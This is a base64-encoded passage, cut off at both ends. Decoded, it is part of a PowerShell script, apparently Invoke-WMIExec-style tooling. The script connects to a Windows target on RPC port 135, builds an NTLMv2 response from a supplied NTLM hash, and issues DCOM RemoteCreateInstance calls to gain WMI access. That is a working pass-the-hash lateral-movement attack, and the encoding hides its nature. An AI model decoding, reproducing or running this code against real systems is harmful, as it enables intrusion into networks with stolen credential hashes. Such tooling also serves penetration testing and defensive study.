ICRzdHJpbmdfbGVuZ3RoDQp9DQoNCmlmKCRoYXNoIC1saWtlICIqOioiKQ0Kew0KICAgICRoYXNoID0gJGhhc2guU3ViU3RyaW5nKCgkaGFzaC5JbmRleE9mKCI6IikgKyAxKSwzMikNCn0NCg0KaWYoJERvbWFpbikNCnsNCiAgICAkb3V0cHV0X3VzZXJuYW1lID0gJERvbWFpbiArICJcIiArICRVc2VybmFtZQ0KfQ0KZWxzZQ0Kew0KICAgICRvdXRwdXRfdXNlcm5hbWUgPSAkVXNlcm5hbWUNCn0NCg0KaWYoJFRhcmdldCAtZXEgJ2xvY2FsaG9zdCcpDQp7DQogICAgJFRhcmdldCA9ICIxMjcuMC4wLjEiDQp9DQoNCnRyeQ0Kew0KICAgICR0YXJnZXRfdHlwZSA9IFtJUEFkZHJlc3NdJFRhcmdldA0KICAgICR0YXJnZXRfc2hvcnQgPSAkdGFyZ2V0X2xvbmcgPSAkVGFyZ2V0DQp9DQpjYXRjaA0Kew0KICAgICR0YXJnZXRfbG9uZyA9ICRUYXJnZXQNCg0KICAgIGlmKCRUYXJnZXQgLWxpa2UgIiouKiIpDQogICAgew0KICAgICAgICAkdGFyZ2V0X3Nob3J0X2luZGV4ID0gJFRhcmdldC5JbmRleE9mKCIuIikNCiAgICAgICAgJHRhcmdldF9zaG9ydCA9ICRUYXJnZXQuU3Vic3RyaW5nKDAsJHRhcmdldF9zaG9ydF9pbmRleCkNCiAgICB9DQogICAgZWxzZQ0KICAgIHsNCiAgICAgICAgJHRhcmdldF9zaG9ydCA9ICRUYXJnZXQNCiAgICB9DQoNCn0NCg0KJHByb2Nlc3NfSUQgPSBbU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3NdOjpHZXRDdXJyZW50UHJvY2VzcygpIHwgU2VsZWN0LU9iamVjdCAtZXhwYW5kIGlkDQokcHJvY2Vzc19JRCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcHJvY2Vzc19JRCkpDQokcHJvY2Vzc19JRCA9ICRwcm9jZXNzX0lEIC1yZXBsYWNlICItMDAtMDAiLCIiDQpbQnl0ZVtdXSRwcm9jZXNzX0lEX2J5dGVzID0gJHByb2Nlc3NfSUQuU3BsaXQoIi0iKSB8IEZvckVhY2gtT2JqZWN0e1tDaGFyXVtTeXN0ZW0uQ29udmVydF06OlRvSW50MTYoJF8sMTYpfQ0KV3JpdGUtVmVyYm9zZSAiQ29ubmVjdGluZyB0byAkVGFyZ2V0YDoxMzUiDQokV01JX2NsaWVudF9pbml0ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlNvY2tldHMuVENQQ2xpZW50DQokV01JX2NsaWVudF9pbml0LkNsaWVudC5SZWNlaXZlVGltZW91dCA9IDMwMDAwDQoNCnRyeQ0Kew0KICAgICRXTUlfY2xpZW50X2luaXQuQ29ubmVjdCgkVGFyZ2V0LCIxMzUiKQ0KfQ0KY2F0Y2gNCnsNCiAgICBXcml0ZS1PdXRwdXQgIiRUYXJnZXQgZGlkIG5vdCByZXNwb25kIg0KfQ0KDQppZigkV01JX2NsaWVudF9pbml0LkNvbm5lY3RlZCkNCnsNCiAgICAkV01JX2NsaWVudF9zdHJlYW1faW5pdCA9ICRXTUlfY2xpZW50X2luaXQuR2V0U3RyZWFtKCkNCiAgICAkV01JX2NsaWVudF9yZWNlaXZlID0gTmV3LU9iamVjdCBTeXN0ZW0uQnl0ZVtdIDIwNDgNCiAgICAkUlBDX1VVSUQgPSAweGM0LDB4ZmUsMHhmYywweDk5LDB4NjAsMHg1MiwweDFiLDB4MTAsMHhiYiwweGNiLDB4MDAsMHhhYSwweDAwLDB4MjEsMHgzNCwweDdhDQogICAgJHBhY2tldF9SUEMgPSBHZXQtUGFja2V0UlBDQmluZCAyIDB4ZDAsMHgxNiAweDAyIDB4MDAsMHgwMCAkUlBDX1VVSUQgMHgwMCwweDAwDQogICAgJHBhY2tldF9SUENbIlJQQ0JpbmRfRnJhZ0xlbmd0aCJdID0gMHg3NCwweDAwICAgIA0KICAgICRSUEMgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1JQQw0KICAgICRXTUlfY2xpZW50X3NlbmQgPSAkUlBDDQogICAgJFdNSV9jbGllbnRfc3RyZWFtX2luaXQuV3JpdGUoJFdNSV9jbGllbnRfc2VuZCwwLCRXTUlfY2xpZW50X3NlbmQuTGVuZ3RoKSA+ICRudWxsDQogICAgJFdNSV9jbGllbnRfc3RyZWFtX2luaXQuRmx1c2goKSAgICANCiAgICAkV01JX2NsaWVudF9zdHJlYW1faW5pdC5SZWFkKCRXTUlfY2xpZW50X3JlY2VpdmUsMCwkV01JX2NsaWVudF9yZWNlaXZlLkxlbmd0aCkgPiAkbnVsbA0KICAgICRhc3NvY19ncm91cCA9ICRXTUlfY2xpZW50X3JlY2VpdmVbMjAuLjIzXQ0KICAgICRwYWNrZXRfUlBDID0gR2V0LVBhY2tldFJQQ1JlcXVlc3QgMHgwMyAwIDAgMCAweDAyLDB4MDAsMHgwMCwweDAwIDB4MDAsMHgwMCAweDA1LDB4MDANCiAgICAkUlBDID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9SUEMNCiAgICAkV01JX2NsaWVudF9zZW5kID0gJFJQQw0KICAgICRXTUlfY2xpZW50X3N0cmVhbV9pbml0LldyaXRlKCRXTUlfY2xpZW50X3NlbmQsMCwkV01JX2NsaWVudF9zZW5kLkxlbmd0aCkgPiAkbnVsbA0KICAgICRXTUlfY2xpZW50X3N0cmVhbV9pbml0LkZsdXNoKCkgICAgDQogICAgJFdNSV9jbGllbnRfc3RyZWFtX2luaXQuUmVhZCgkV01JX2NsaWVudF9yZWNlaXZlLDAsJFdNSV9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAkV01JX2hvc3RuYW1lX3VuaWNvZGUgPSAkV01JX2NsaWVudF9yZWNlaXZlWzQyLi4kV01JX2NsaWVudF9yZWNlaXZlLkxlbmd0aF0NCiAgICAkV01JX2hvc3RuYW1lID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpUb1N0cmluZygkV01JX2hvc3RuYW1lX3VuaWNvZGUpDQogICAgJFdNSV9ob3N0bmFtZV9pbmRleCA9ICRXTUlfaG9zdG5hbWUuSW5kZXhPZigiLTAwLTAwLTAwIikNCiAgICAkV01JX2hvc3RuYW1lID0gJFdNSV9ob3N0bmFtZS5TdWJTdHJpbmcoMCwkV01JX2hvc3RuYW1lX2luZGV4KQ0KICAgICRXTUlfaG9zdG5hbWUgPSAkV01JX2hvc3RuYW1lIC1yZXBsYWNlICItMDAiLCIiDQogICAgJFdNSV9ob3N0bmFtZSA9ICRXTUlfaG9zdG5hbWUuU3BsaXQoIi0iKSB8IEZvckVhY2gtT2JqZWN0e1tDaGFyXVtTeXN0ZW0uQ29udmVydF06OlRvSW50MTYoJF8sMTYpfQ0KICAgICRXTUlfaG9zdG5hbWUgPSBOZXctT2JqZWN0IFN5c3RlbS5TdHJpbmcgKCRXTUlfaG9zdG5hbWUsMCwkV01JX2hvc3RuYW1lLkxlbmd0aCkNCg0KICAgIGlmKCR0YXJnZXRfc2hvcnQgLWNuZSAkV01JX2hvc3RuYW1lKQ0KICAgIHsNCiAgICAgICAgV3JpdGUtVmVyYm9zZSAiV01JIHJlcG9ydHMgdGFyZ2V0IGhvc3RuYW1lIGFzICRXTUlfaG9zdG5hbWUiDQogICAgICAgICR0YXJnZXRfc2hvcnQgPSAkV01JX2hvc3RuYW1lDQogICAgfQ0KDQogICAgJFdNSV9jbGllbnRfaW5pdC5DbG9zZSgpDQogICAgJFdNSV9jbGllbnRfc3RyZWFtX2luaXQuQ2xvc2UoKQ0KICAgICRXTUlfY2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlNvY2tldHMuVENQQ2xpZW50DQogICAgJFdNSV9jbGllbnQuQ2xpZW50LlJlY2VpdmVUaW1lb3V0ID0gMzAwMDANCg0KICAgIHRyeQ0KICAgIHsNCiAgICAgICAgJFdNSV9jbGllbnQuQ29ubmVjdCgkdGFyZ2V0X2xvbmcsIjEzNSIpDQogICAgfQ0KICAgIGNhdGNoDQogICAgew0KICAgICAgICBXcml0ZS1PdXRwdXQgIiR0YXJnZXRfbG9uZyBkaWQgbm90IHJlc3BvbmQiDQogICAgfQ0KDQogICAgaWYoJFdNSV9jbGllbnQuQ29ubmVjdGVkKQ0KICAgIHsNCiAgICAgICAgJFdNSV9jbGllbnRfc3RyZWFtID0gJFdNSV9jbGllbnQuR2V0U3RyZWFtKCkNCiAgICAgICAgJFJQQ19VVUlEID0gMHhhMCwweDAxLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4YzAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0Ng0KICAgICAgICAkcGFja2V0X1JQQyA9IEdldC1QYWNrZXRSUENCaW5kIDMgMHhkMCwweDE2IDB4MDEgMHgwMSwweDAwICRSUENfVVVJRCAweDAwLDB4MDANCiAgICAgICAgJHBhY2tldF9SUENbIlJQQ0JpbmRfRnJhZ0xlbmd0aCJdID0gMHg3OCwweDAwDQogICAgICAgICRwYWNrZXRfUlBDWyJSUENCaW5kX0F1dGhMZW5ndGgiXSA9IDB4MjgsMHgwMA0KICAgICAgICAkcGFja2V0X1JQQ1siUlBDQmluZF9OZWdvdGlhdGVGbGFncyJdID0gMHgwNywweDgyLDB4MDgsMHhhMg0KICAgICAgICAkUlBDID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9SUEMNCiAgICAgICAgJFdNSV9jbGllbnRfc2VuZCA9ICRSUEMNCiAgICAgICAgJFdNSV9jbGllbnRfc3RyZWFtLldyaXRlKCRXTUlfY2xpZW50X3NlbmQsMCwkV01JX2NsaWVudF9zZW5kLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAkV01JX2NsaWVudF9zdHJlYW0uRmx1c2goKSAgICANCiAgICAgICAgJFdNSV9jbGllbnRfc3RyZWFtLlJlYWQoJFdNSV9jbGllbnRfcmVjZWl2ZSwwLCRXTUlfY2xpZW50X3JlY2VpdmUuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICRhc3NvY19ncm91cCA9ICRXTUlfY2xpZW50X3JlY2VpdmVbMjAuLjIzXQ0KICAgICAgICAkV01JX05UTE1TU1AgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCRXTUlfY2xpZW50X3JlY2VpdmUpDQogICAgICAgICRXTUlfTlRMTVNTUCA9ICRXTUlfTlRMTVNTUCAtcmVwbGFjZSAiLSIsIiINCiAgICAgICAgJFdNSV9OVExNU1NQX2luZGV4ID0gJFdNSV9OVExNU1NQLkluZGV4T2YoIjRFNTQ0QzRENTM1MzUwMDAiKQ0KICAgICAgICAkV01JX05UTE1TU1BfYnl0ZXNfaW5kZXggPSAkV01JX05UTE1TU1BfaW5kZXggLyAyDQogICAgICAgICRXTUlfZG9tYWluX2xlbmd0aCA9IERhdGFMZW5ndGgyICgkV01JX05UTE1TU1BfYnl0ZXNfaW5kZXggKyAxMikgJFdNSV9jbGllbnRfcmVjZWl2ZQ0KICAgICAgICAkV01JX3RhcmdldF9sZW5ndGggPSBEYXRhTGVuZ3RoMiAoJFdNSV9OVExNU1NQX2J5dGVzX2luZGV4ICsgNDApICRXTUlfY2xpZW50X3JlY2VpdmUNCiAgICAgICAgJFdNSV9zZXNzaW9uX0lEID0gJFdNSV9jbGllbnRfcmVjZWl2ZVs0NC4uNTFdDQogICAgICAgICRXTUlfTlRMTV9jaGFsbGVuZ2UgPSAkV01JX2NsaWVudF9yZWNlaXZlWygkV01JX05UTE1TU1BfYnl0ZXNfaW5kZXggKyAyNCkuLigkV01JX05UTE1TU1BfYnl0ZXNfaW5kZXggKyAzMSldDQogICAgICAgICRXTUlfdGFyZ2V0X2RldGFpbHMgPSAkV01JX2NsaWVudF9yZWNlaXZlWygkV01JX05UTE1TU1BfYnl0ZXNfaW5kZXggKyA1NiArICRXTUlfZG9tYWluX2xlbmd0aCkuLigkV01JX05UTE1TU1BfYnl0ZXNfaW5kZXggKyA1NSArICRXTUlfZG9tYWluX2xlbmd0aCArICRXTUlfdGFyZ2V0X2xlbmd0aCldDQogICAgICAgICRXTUlfdGFyZ2V0X3RpbWVfYnl0ZXMgPSAkV01JX3RhcmdldF9kZXRhaWxzWygkV01JX3RhcmdldF9kZXRhaWxzLkxlbmd0aCAtIDEyKS4uKCRXTUlfdGFyZ2V0X2RldGFpbHMuTGVuZ3RoIC0gNSldDQogICAgICAgICROVExNX2hhc2hfYnl0ZXMgPSAoJntmb3IgKCRpID0gMDskaSAtbHQgJGhhc2guTGVuZ3RoOyRpICs9IDIpeyRoYXNoLlN1YlN0cmluZygkaSwyKX19KSAtam9pbiAiLSINCiAgICAgICAgJE5UTE1faGFzaF9ieXRlcyA9ICROVExNX2hhc2hfYnl0ZXMuU3BsaXQoIi0iKSB8IEZvckVhY2gtT2JqZWN0e1tDaGFyXVtTeXN0ZW0uQ29udmVydF06OlRvSW50MTYoJF8sMTYpfQ0KICAgICAgICAkYXV0aF9ob3N0bmFtZSA9IChnZXQtY2hpbGRpdGVtIC1wYXRoIGVudjpjb21wdXRlcm5hbWUpLlZhbHVlDQogICAgICAgICRhdXRoX2hvc3RuYW1lX2J5dGVzID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRCeXRlcygkYXV0aF9ob3N0bmFtZSkNCiAgICAgICAgJGF1dGhfZG9tYWluID0gJERvbWFpbg0KICAgICAgICAkYXV0aF9kb21haW5fYnl0ZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVbmljb2RlLkdldEJ5dGVzKCRhdXRoX2RvbWFpbikNCiAgICAgICAgJGF1dGhfdXNlcm5hbWVfYnl0ZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVbmljb2RlLkdldEJ5dGVzKCR1c2VybmFtZSkNCiAgICAgICAgJGF1dGhfZG9tYWluX2xlbmd0aCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJGF1dGhfZG9tYWluX2J5dGVzLkxlbmd0aCkNCiAgICAgICAgJGF1dGhfZG9tYWluX2xlbmd0aCA9ICRhdXRoX2RvbWFpbl9sZW5ndGhbMCwxXQ0KICAgICAgICAkYXV0aF9kb21haW5fbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkYXV0aF9kb21haW5fYnl0ZXMuTGVuZ3RoKQ0KICAgICAgICAkYXV0aF9kb21haW5fbGVuZ3RoID0gJGF1dGhfZG9tYWluX2xlbmd0aFswLDFdDQogICAgICAgICRhdXRoX3VzZXJuYW1lX2xlbmd0aCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJGF1dGhfdXNlcm5hbWVfYnl0ZXMuTGVuZ3RoKQ0KICAgICAgICAkYXV0aF91c2VybmFtZV9sZW5ndGggPSAkYXV0aF91c2VybmFtZV9sZW5ndGhbMCwxXQ0KICAgICAgICAkYXV0aF9ob3N0bmFtZV9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRhdXRoX2hvc3RuYW1lX2J5dGVzLkxlbmd0aCkNCiAgICAgICAgJGF1dGhfaG9zdG5hbWVfbGVuZ3RoID0gJGF1dGhfaG9zdG5hbWVfbGVuZ3RoWzAsMV0NCiAgICAgICAgJGF1dGhfZG9tYWluX29mZnNldCA9IDB4NDAsMHgwMCwweDAwLDB4MDANCiAgICAgICAgJGF1dGhfdXNlcm5hbWVfb2Zmc2V0ID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkYXV0aF9kb21haW5fYnl0ZXMuTGVuZ3RoICsgNjQpDQogICAgICAgICRhdXRoX2hvc3RuYW1lX29mZnNldCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJGF1dGhfZG9tYWluX2J5dGVzLkxlbmd0aCArICRhdXRoX3VzZXJuYW1lX2J5dGVzLkxlbmd0aCArIDY0KQ0KICAgICAgICAkYXV0aF9MTV9vZmZzZXQgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRhdXRoX2RvbWFpbl9ieXRlcy5MZW5ndGggKyAkYXV0aF91c2VybmFtZV9ieXRlcy5MZW5ndGggKyAkYXV0aF9ob3N0bmFtZV9ieXRlcy5MZW5ndGggKyA2NCkNCiAgICAgICAgJGF1dGhfTlRMTV9vZmZzZXQgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRhdXRoX2RvbWFpbl9ieXRlcy5MZW5ndGggKyAkYXV0aF91c2VybmFtZV9ieXRlcy5MZW5ndGggKyAkYXV0aF9ob3N0bmFtZV9ieXRlcy5MZW5ndGggKyA4OCkNCiAgICAgICAgJEhNQUNfTUQ1ID0gTmV3LU9iamVjdCBTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkhNQUNNRDUNCiAgICAgICAgJEhNQUNfTUQ1LmtleSA9ICROVExNX2hhc2hfYnl0ZXMNCiAgICAgICAgJHVzZXJuYW1lX2FuZF90YXJnZXQgPSAkdXNlcm5hbWUuVG9VcHBlcigpDQogICAgICAgICR1c2VybmFtZV9hbmRfdGFyZ2V0X2J5dGVzID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRCeXRlcygkdXNlcm5hbWVfYW5kX3RhcmdldCkNCiAgICAgICAgJHVzZXJuYW1lX2FuZF90YXJnZXRfYnl0ZXMgKz0gJGF1dGhfZG9tYWluX2J5dGVzDQogICAgICAgICROVExNdjJfaGFzaCA9ICRITUFDX01ENS5Db21wdXRlSGFzaCgkdXNlcm5hbWVfYW5kX3RhcmdldF9ieXRlcykNCiAgICAgICAgJGNsaWVudF9jaGFsbGVuZ2UgPSBbU3RyaW5nXSgxLi44IHwgRm9yRWFjaC1PYmplY3QgeyJ7MDpYMn0iIC1mIChHZXQtUmFuZG9tIC1NaW5pbXVtIDEgLU1heGltdW0gMjU1KX0pDQogICAgICAgICRjbGllbnRfY2hhbGxlbmdlX2J5dGVzID0gJGNsaWVudF9jaGFsbGVuZ2UuU3BsaXQoIiAiKSB8IEZvckVhY2gtT2JqZWN0e1tDaGFyXVtTeXN0ZW0uQ29udmVydF06OlRvSW50MTYoJF8sMTYpfQ0KDQogICAgICAgICRzZWN1cml0eV9ibG9iX2J5dGVzID0gMHgwMSwweDAxLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRXTUlfdGFyZ2V0X3RpbWVfYnl0ZXMgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY2xpZW50X2NoYWxsZW5nZV9ieXRlcyArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX3RhcmdldF9kZXRhaWxzICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMA0KDQogICAgICAgICRzZXJ2ZXJfY2hhbGxlbmdlX2FuZF9zZWN1cml0eV9ibG9iX2J5dGVzID0gJFdNSV9OVExNX2NoYWxsZW5nZSArICRzZWN1cml0eV9ibG9iX2J5dGVzDQogICAgICAgICRITUFDX01ENS5rZXkgPSAkTlRMTXYyX2hhc2gNCiAgICAgICAgJE5UTE12Ml9yZXNwb25zZSA9ICRITUFDX01ENS5Db21wdXRlSGFzaCgkc2VydmVyX2NoYWxsZW5nZV9hbmRfc2VjdXJpdHlfYmxvYl9ieXRlcykNCiAgICAgICAgJHNlc3Npb25fYmFzZV9rZXkgPSAkSE1BQ19NRDUuQ29tcHV0ZUhhc2goJE5UTE12Ml9yZXNwb25zZSkNCiAgICAgICAgJE5UTE12Ml9yZXNwb25zZSA9ICROVExNdjJfcmVzcG9uc2UgKyAkc2VjdXJpdHlfYmxvYl9ieXRlcw0KICAgICAgICAkTlRMTXYyX3Jlc3BvbnNlX2xlbmd0aCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJE5UTE12Ml9yZXNwb25zZS5MZW5ndGgpDQogICAgICAgICROVExNdjJfcmVzcG9uc2VfbGVuZ3RoID0gJE5UTE12Ml9yZXNwb25zZV9sZW5ndGhbMCwxXQ0KICAgICAgICAkV01JX3Nlc3Npb25fa2V5X29mZnNldCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJGF1dGhfZG9tYWluX2J5dGVzLkxlbmd0aCArICRhdXRoX3VzZXJuYW1lX2J5dGVzLkxlbmd0aCArICRhdXRoX2hvc3RuYW1lX2J5dGVzLkxlbmd0aCArICROVExNdjJfcmVzcG9uc2UuTGVuZ3RoICsgODgpDQogICAgICAgICRXTUlfc2Vzc2lvbl9rZXlfbGVuZ3RoID0gMHgwMCwweDAwDQogICAgICAgICRXTUlfbmVnb3RpYXRlX2ZsYWdzID0gMHgxNSwweDgyLDB4ODgsMHhhMg0KDQogICAgICAgICROVExNU1NQX3Jlc3BvbnNlID0gMHg0ZSwweDU0LDB4NGMsMHg0ZCwweDUzLDB4NTMsMHg1MCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAzLDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDE4LDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MTgsMHgwMCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX0xNX29mZnNldCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICROVExNdjJfcmVzcG9uc2VfbGVuZ3RoICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJE5UTE12Ml9yZXNwb25zZV9sZW5ndGggKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF9OVExNX29mZnNldCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX2RvbWFpbl9sZW5ndGggKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF9kb21haW5fbGVuZ3RoICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfZG9tYWluX29mZnNldCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX3VzZXJuYW1lX2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX3VzZXJuYW1lX2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX3VzZXJuYW1lX29mZnNldCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX2hvc3RuYW1lX2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX2hvc3RuYW1lX2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX2hvc3RuYW1lX29mZnNldCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRXTUlfc2Vzc2lvbl9rZXlfbGVuZ3RoICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9zZXNzaW9uX2tleV9sZW5ndGggKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX3Nlc3Npb25fa2V5X29mZnNldCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRXTUlfbmVnb3RpYXRlX2ZsYWdzICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfZG9tYWluX2J5dGVzICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfdXNlcm5hbWVfYnl0ZXMgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF9ob3N0bmFtZV9ieXRlcyArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICROVExNdjJfcmVzcG9uc2UNCg0KICAgICAgICAkYXNzb2NfZ3JvdXAgPSAkV01JX2NsaWVudF9yZWNlaXZlWzIwLi4yM10NCiAgICAgICAgJHBhY2tldF9SUEMgPSBHZXQtUGFja2V0UlBDQVVUSDMgJE5UTE1TU1BfcmVzcG9uc2UNCiAgICAgICAgJFJQQyA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfUlBDDQogICAgICAgICRXTUlfY2xpZW50X3NlbmQgPSAkUlBDDQogICAgICAgICRXTUlfY2xpZW50X3N0cmVhbS5Xcml0ZSgkV01JX2NsaWVudF9zZW5kLDAsJFdNSV9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgJFdNSV9jbGllbnRfc3RyZWFtLkZsdXNoKCkgICAgDQogICAgICAgICRjYXVzYWxpdHlfSUQgPSBbU3RyaW5nXSgxLi4xNiB8IEZvckVhY2gtT2JqZWN0IHsiezA6WDJ9IiAtZiAoR2V0LVJhbmRvbSAtTWluaW11bSAxIC1NYXhpbXVtIDI1NSl9KQ0KICAgICAgICBbQnl0ZVtdXSRjYXVzYWxpdHlfSURfYnl0ZXMgPSAkY2F1c2FsaXR5X0lELlNwbGl0KCIgIikgfCBGb3JFYWNoLU9iamVjdHtbQ2hhcl1bU3lzdGVtLkNvbnZlcnRdOjpUb0ludDE2KCRfLDE2KX0NCiAgICAgICAgJHVudXNlZF9idWZmZXIgPSBbU3RyaW5nXSgxLi4xNiB8IEZvckVhY2gtT2JqZWN0IHsiezA6WDJ9IiAtZiAoR2V0LVJhbmRvbSAtTWluaW11bSAxIC1NYXhpbXVtIDI1NSl9KQ0KICAgICAgICBbQnl0ZVtdXSR1bnVzZWRfYnVmZmVyX2J5dGVzID0gJHVudXNlZF9idWZmZXIuU3BsaXQoIiAiKSB8IEZvckVhY2gtT2JqZWN0e1tDaGFyXVtTeXN0ZW0uQ29udmVydF06OlRvSW50MTYoJF8sMTYpfQ0KICAgICAgICAkcGFja2V0X0RDT01fcmVtb3RlX2NyZWF0ZV9pbnN0YW5jZSA9IEdldC1QYWNrZXREQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UgJGNhdXNhbGl0eV9JRF9ieXRlcyAkdGFyZ2V0X3Nob3J0DQogICAgICAgICREQ09NX3JlbW90ZV9jcmVhdGVfaW5zdGFuY2UgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X0RDT01fcmVtb3RlX2NyZWF0ZV9pbnN0YW5jZQ0KICAgICAgICAkcGFja2V0X1JQQyA9IEdldC1QYWNrZXRSUENSZXF1ZXN0IDB4MDMgJERDT01fcmVtb3RlX2NyZWF0ZV9pbnN0YW5jZS5MZW5ndGggMCAwIDB4MDMsMHgwMCwweDAwLDB4MDAgMHgwMSwweDAwIDB4MDQsMHgwMA0KICAgICAgICAkUlBDID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9SUEMNCiAgICAgICAgJFdNSV9jbGllbnRfc2VuZCA9ICRSUEMgKyAkRENPTV9yZW1vdGVfY3JlYXRlX2luc3RhbmNlDQogICAgICAgICRXTUlfY2xpZW50X3N0cmVhbS5Xcml0ZSgkV01JX2NsaWVudF9zZW5kLDAsJFdNSV9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgJFdNSV9jbGllbnRfc3RyZWFtLkZsdXNoKCkgICAgDQogICAgICAgICRXTUlfY2xpZW50X3N0cmVhbS5SZWFkKCRXTUlfY2xpZW50X3JlY2VpdmUsMCwkV01JX2NsaWVudF9yZWNlaXZlLkxlbmd0aCkgPiAkbnVsbA0KDQogICAgICAgIGlmKCRXTUlfY2xpZW50X3JlY2VpdmVbMl0gLWVxIDMgLWFuZCBbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCRXTUlfY2xpZW50X3JlY2VpdmVbMjQuLjI3XSkgLWVxICcwNS0wMC0wMC0wMCcpDQogICAgICAgIHsNCiAgICAgICAgICAgIFdyaXRlLU91dHB1dCAiJG91dHB1dF91c2VybmFtZSBXTUkgYWNjZXNzIGRlbmllZCBvbiAkdGFyZ2V0X2xvbmciICAgIA0KICAgICAgICB9DQogICAgICAgIGVsc2VpZigkV01JX2NsaWVudF9yZWNlaXZlWzJdI